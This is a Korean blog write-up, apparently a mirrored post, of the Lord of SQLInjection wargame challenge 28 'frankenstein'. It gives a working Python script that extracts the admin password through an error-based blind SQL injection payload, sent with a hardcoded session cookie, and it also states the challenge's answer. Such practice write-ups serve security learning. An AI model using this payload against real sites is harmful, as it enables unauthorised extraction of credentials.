OS - 28번 frankenstein
[28] frankenstein
문제
풀이
LoS 28번 Python 자동화 코드이다.
import requests
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookie = {"PHPSESSID":"2evml88c628kabc2j1vfk63ks9"}
print("🖤 Start SQLi...")
ans = ""
end = False
for i in range(1, 100):
if(end==True):
print(f">> There's No Letter {i}")
break
end = True
print(f"🖤 Checking letter {i}...")
for asc in range(48, 127):
search = ans+chr(asc)
payload = f"?pw=' || CASE WHEN id='admin' and pw like '{search}%25' THEN 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF ELSE 0 END %23"
res = requests.get(url+payload, cookies=cookie)
if("login_chk" in res.text):
continue
elif("error" in res.text):
print(f">> Letter {i} → {chr(asc)}")
ans+=chr(asc)
end = False
break
print(f"🖤 Answer : {ans}")
그런데 여기서 끝이 아니었다.
자동화 공격 결과 분명 답은 숫자와 알파벳 대문자의 조합으로 나왔건만...
아무리 넣어봐도 안 풀렸다.
도저히 이유를 모르겠어서 다른 블로그 글을 찾아봤더니 답은 0dc4efbb
였다.
왜 아스키로 검색했는데 대소문자가 반대로 나오는지...
결과
Author And Source
이 문제에 관하여(OS - 28번 frankenstein), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@sookyeongyeom/LOS-28번-frankenstein저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)